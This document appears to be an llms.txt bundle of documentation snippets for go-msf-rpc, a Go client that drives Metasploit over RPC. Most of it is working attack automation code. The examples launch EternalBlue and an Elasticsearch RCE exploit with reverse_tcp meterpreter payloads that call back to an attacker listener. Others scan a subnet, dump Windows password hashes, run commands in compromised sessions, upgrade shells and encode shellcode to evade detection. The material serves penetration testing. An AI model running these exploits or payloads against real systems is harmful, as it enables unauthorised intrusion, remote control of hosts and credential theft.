### Install go-msf-rpc Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Installs the go-msf-rpc library using the Go build tool. This command fetches the latest version of the library and its dependencies. ```bash go get -u github.com/fpr1m3/go-msf-rpc/... ``` -------------------------------- ### Complete Metasploit Workflow Example in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Demonstrates a full Metasploit automation workflow, including connecting to the RPC server, executing an exploit, and interacting with established sessions. Requires Metasploit RPC credentials and target information. ```go package main import ( "log" "os" "time" "github.com/fpr1m3/go-msf-rpc/rpc" ) func main() { host := os.Getenv("MSFHOST") user := os.Getenv("MSFUSER") pass := os.Getenv("MSFPASS") // Connect to Metasploit msf, err := rpc.New(host, user, pass) if err != nil { log.Fatalf("Connection failed: %v", err) } defer msf.Logout() // Verify connection version, _ := msf.CoreVersion() log.Printf("Connected to Metasploit %s", version.Version) // Execute an exploit options := map[string]string{ "RHOSTS": "192.168.1.100", "RPORT": "445", "LHOST": "192.168.1.50", "LPORT": "4444", "PAYLOAD": "windows/x64/meterpreter/reverse_tcp", } result, err := msf.ModuleExecute("exploit", "windows/smb/ms17_010_eternalblue", options) if err != nil { log.Fatalf("Exploit failed: %v", err) } log.Printf("Job started: %d", result.JobId) // Wait and check for sessions time.Sleep(10 * time.Second) sessions, _ := msf.SessionList() for id, session := range sessions { log.Printf("Got session %d on %s via %s", id, session.SessionHost, session.ViaExploit) // Run Meterpreter command msf.SessionMeterpreterRunSingle(id, "sysinfo") time.Sleep(time.Second) output, _ := msf.SessionMeterpreterRead(id) log.Printf("Sysinfo:\n%s", output.Data) } } ``` -------------------------------- ### Discover and Get Module Information via Metasploit RPC in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Provides functions to discover and retrieve detailed information about Metasploit modules. This includes listing modules by type (exploits, auxiliary, post, etc.), fetching module details, querying options, and identifying compatible payloads or sessions. Error handling is essential for each API call. ```go // List all exploit modules exploits, err := msf.ModuleExploits() for _, exploit := range exploits.Modules { log.Printf("Exploit: %s", exploit) } // List other module types auxiliary, err := msf.ModuleAuxiliary() post, err := msf.ModulePost() payloads, err := msf.ModulePayloads() encoders, err := msf.ModuleEncoders() nops, err := msf.ModuleNops() // Get detailed module information info, err := msf.ModuleInfo("exploit", "multi/handler") log.Printf("Module: %s\nDescription: %s\nAuthors: %v\nRank: %s", info.Name, info.Description, info.Authors, info.Rank) // Get module options options, err := msf.ModuleOptions("exploit", "multi/elasticsearch/script_mvel_rce") for name, opt := range options { log.Printf("Option: %s (Type: %s, Required: %v, Default: %v)\n Desc: %s", name, opt.Type, opt.Required, opt.Default, opt.Desc) } // Get only required options for a module required, err := msf.GetModuleRequires("exploit", "multi/handler") log.Printf("Required options: %v", required) // Get compatible payloads for an exploit payloads, err := msf.ModuleCompatiblePayloads("multi/handler") for _, payload := range payloads.Payloads { log.Printf("Compatible payload: %s", payload) } // Get target-specific compatible payloads targetPayloads, err := msf.ModuleTargetCompatiblePayloads("windows/smb/ms17_010_eternalblue", 0) // Get compatible sessions for a post module sessions, err := msf.ModuleCompatibleSessions("post/windows/gather/credentials/gpp") ``` -------------------------------- ### Initialize Metasploit RPC Client and Authenticate in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Initializes a new Metasploit RPC client and automatically handles authentication. It requires Metasploit host, username, and password, typically set via environment variables. The function returns a client instance and an error if connection or authentication fails. It's crucial to defer the Logout() call to properly close the connection. ```go package main import ( "log" "os" "github.com/fpr1m3/go-msf-rpc/rpc" ) func main() { // Set environment variables for connection host := os.Getenv("MSFHOST") // e.g., "https://192.168.1.100:55553" user := os.Getenv("MSFUSER") // e.g., "msf" pass := os.Getenv("MSFPASS") // e.g., "password123" // Create new client (automatically logs in) msf, err := rpc.New(host, user, pass) if err != nil { log.Fatalf("Failed to connect: %v", err) } defer msf.Logout() // Always logout when done // Get version info to verify connection version, err := msf.CoreVersion() if err != nil { log.Fatalf("Failed to get version: %v", err) } log.Printf("Connected to Metasploit %s (Ruby: %s, API: %s)", version.Version, version.Ruby, version.Api) } ``` -------------------------------- ### Manage Metasploit Plugins in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Load, unload, and list Metasploit plugins programmatically. Supports loading plugins with or without specific options. Requires a running Metasploit RPC server. ```go // Load a plugin with options pluginOptions := map[string]string{ "WORKSPACE": "default", } loadResult, err := msf.PluginLoad("db_tracker", pluginOptions) log.Printf("Load result: %s", loadResult.Result) // Load plugin without options loadResult, err = msf.PluginLoad("sounds", nil) // List loaded plugins loaded, err := msf.PluginLoaded() for _, plugin := range loaded.Plugins { log.Printf("Loaded plugin: %s", plugin) } // Unload a plugin unloadResult, err := msf.PluginUnLoad("sounds") log.Printf("Unload result: %s", unloadResult.Result) ``` -------------------------------- ### Manage Metasploit Consoles in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Create, interact with, and destroy Metasploit console instances. Supports reading output, tab completion, and session detachment/killing. Requires a running Metasploit RPC server. ```go // Create a new console console, err := msf.ConsoleCreate() if err != nil { log.Fatalf("Failed to create console: %v", err) } log.Printf("Console ID: %s, Prompt: %s", console.Id, console.Prompt) // List all consoles consoles, err := msf.ConsoleList() for key, list := range consoles { for _, c := range list { log.Printf("Console %s: Busy=%v, Prompt=%s", c.Id, c.Busy, c.Prompt) } } // Write command to console writeResult, err := msf.ConsoleWrite(console.Id, "use exploit/multi/handler\n") log.Printf("Wrote %d bytes", writeResult.Wrote) // Read console output time.Sleep(time.Second) // Wait for command to execute readResult, err := msf.ConsoleRead(console.Id) log.Printf("Output: %s\nPrompt: %s\nBusy: %v", readResult.Data, readResult.Prompt, readResult.Busy) // Tab completion in console tabs, err := msf.ConsoleTabs(console.Id, "set PAY") for _, tab := range tabs.Tabs { log.Printf("Tab: %s", tab) } // Detach from session in console detachResult, err := msf.ConsoleSessionDetch(console.Id) // Kill session from console killResult, err := msf.ConsoleSessionKill(console.Id) // Destroy console when done destroyResult, err := msf.ConsoleDestroy(console.Id) log.Printf("Destroy result: %s", destroyResult.Result) ``` -------------------------------- ### Interact with Metasploit Core API Functions in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Demonstrates various core API functions for managing Metasploit. This includes retrieving system version, module statistics, managing module paths, reloading modules, saving state, configuring global options, and controlling threads. Each function call returns a result and an error, requiring appropriate error handling. ```go // Get Metasploit version information version, err := msf.CoreVersion() // Response: version.Version, version.Ruby, version.Api // Get module statistics stats, err := msf.CoreModuleStats() // Response: stats.Exploits, stats.Auxiliary, stats.Post, stats.Encoders, stats.Nops, stats.Payloads // Add custom module path addResult, err := msf.CoreAddModulePath("/path/to/custom/modules") // Reload all modules reloadResult, err := msf.CoreReloadModules() // Save current state saveResult, err := msf.CoreSave() // Set global option setResult, err := msf.CoreSetg("LHOST", "192.168.1.100") // Unset global option unsetResult, err := msf.CoreUnSetg("LHOST") // List all threads threads, err := msf.CoreThreadList() for id, thread := range threads { log.Printf("Thread %d: %s (Status: %s)", id, thread.Name, thread.Status) } // Kill a thread killResult, err := msf.CoreThreadKill("1") // Stop Metasploit RPC server stopResult, err := msf.CoreStop() ``` -------------------------------- ### Interact with Meterpreter Sessions in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Perform specialized operations on Meterpreter sessions, including writing commands, reading output, running single commands, tab completion, detaching, and killing sessions. These functions provide fine-grained control over Meterpreter interactions. ```go var meterpreterSession uint32 = 1 // Write command to Meterpreter writeResult, err := msf.SessionMeterpreterWrite(meterpreterSession, "sysinfo") log.Printf("Write result: %s", writeResult.Result) // Read Meterpreter output readResult, err := msf.SessionMeterpreterRead(meterpreterSession) log.Printf("Output: %s", readResult.Data) // Run single Meterpreter command (write + immediate result) runResult, err := msf.SessionMeterpreterRunSingle(meterpreterSession, "getuid") log.Printf("Result: %s", runResult.Result) // Tab completion for Meterpreter commands tabs, err := msf.SessionMeterpreterTabs(meterpreterSession, "get") for _, completion := range tabs.Tabs { log.Printf("Completion: %s", completion) } // Detach from Meterpreter session (keeps session alive) detachResult, err := msf.SessionMeterpreterSessionDetach(meterpreterSession) // Kill Meterpreter session killResult, err := msf.SessionMeterpreterSessionKill(meterpreterSession) log.Printf("Kill result: %s", killResult.Result) ``` -------------------------------- ### Manage Metasploit Jobs in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt List, inspect, and control running Metasploit jobs. Allows retrieving job details and stopping specific jobs. Requires a running Metasploit RPC server. ```go // List all running jobs jobs, err := msf.JobList() if err != nil { log.Fatalf("Failed to list jobs: %v", err) } for id, name := range jobs { log.Printf("Job %s: %s", id, name) } // Get detailed job information jobInfo, err := msf.JobInfo("0") log.Printf("Job ID: %d\nName: %s\nStart Time: %d\nDatastore: %v", jobInfo.Jid, jobInfo.Name, jobInfo.StartTime, jobInfo.Datastore) // Stop a running job stopResult, err := msf.JobStop("0") log.Printf("Stop result: %s", stopResult.Result) ``` -------------------------------- ### Manage Metasploit Sessions in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Manage active exploitation sessions, including listing sessions, executing commands, and performing low-level read/write operations. This function allows interaction with both shell and Meterpreter sessions. It returns session details, command output, or errors. ```go // List all active sessions sessions, err := msf.SessionList() if err != nil { log.Fatalf("Failed to list sessions: %v", err) } for id, session := range sessions { log.Printf("Session %d:\n Type: %s\n Via: %s\n Host: %s:%d\n Info: %s", id, session.Type, session.ViaExploit, session.SessionHost, session.SessionPort, session.Info) } // Execute command on shell session var sessionID uint32 = 1 output, err := msf.SessionExecute(sessionID, "whoami\n") log.Printf("Command output: %s", output) // Execute multiple commands commands := []string{"id", "uname -a", "pwd"} results, err := msf.SessionExecuteList(sessionID, commands) log.Printf("Results:\n%s", results) // Low-level shell operations err = msf.SessionWrite(sessionID, "ls -la\n") pointer, err := msf.SessionReadPointer(sessionID) data, err := msf.SessionRead(sessionID, pointer) // Get compatible post modules for a session compatible, err := msf.SessionCompatibleModules(sessionID) for _, module := range compatible.Modules { log.Printf("Compatible module: %s", module) } // Upgrade shell to Meterpreter upgradeResult, err := msf.SessionShellUpgrade(sessionID, "192.168.1.130", 4445) // Ring buffer operations ringResult, err := msf.SessionRingPut(sessionID, "id\n") ringLast, err := msf.SessionRingLast(sessionID) clearResult, err := msf.SessionRingClear(sessionID) ``` -------------------------------- ### Execute Metasploit Modules in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Execute Metasploit modules such as exploits, auxiliary scanners, and post-exploitation scripts. This function takes the module type, module name, and a map of options as input. It returns the job ID for asynchronous operations or an error if execution fails. Dependencies include the msf client object. ```go // Execute an exploit module moduleOptions := map[string]string{ "RHOSTS": "192.168.1.131", "RPORT": "9200", "SSL": "false", "TARGETURI": "/", "WritableDir": "/tmp", "LHOST": "192.168.1.130", "LPORT": "4444", "PAYLOAD": "java/meterpreter/reverse_tcp", } execResult, err := msf.ModuleExecute("exploit", "multi/elasticsearch/script_mvel_rce", moduleOptions) if err != nil { log.Fatalf("Execute failed: %v", err) } log.Printf("Job ID: %d", execResult.JobId) // Execute an auxiliary scanner scanOptions := map[string]string{ "RHOSTS": "192.168.1.0/24", "THREADS": "10", } scanResult, err := msf.ModuleExecute("auxiliary", "scanner/portscan/tcp", scanOptions) // Execute a post-exploitation module postOptions := map[string]string{ "SESSION": "1", } postResult, err := msf.ModuleExecute("post", "windows/gather/hashdump", postOptions) ``` -------------------------------- ### Encode Payloads in Go Source: https://context7.com/fpr1m3/go-msf-rpc/llms.txt Encode data or shellcode using Metasploit's encoding modules. This function allows specifying the payload, encoder, and output format. It returns the encoded data as a string or an error. Supported formats include 'python', 'c', 'ruby', and 'raw'. ```go // Encode shellcode with shikata_ga_nai encoder encodeOptions := map[string]string{ "format": "python", // Output format: python, c, ruby, raw, etc. } encoded, err := msf.ModuleEncode("AAAA", "x86/shikata_ga_nai", encodeOptions) if err != nil { log.Fatalf("Encode failed: %v", err) } log.Printf("Encoded data:\n%s", encoded.Encoded) // Generate encoded payload for different formats cOptions := map[string]string{"format": "c"} rubyOptions := map[string]string{"format": "ruby"} rawOptions := map[string]string{"format": "raw", "iterations": "5"} ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.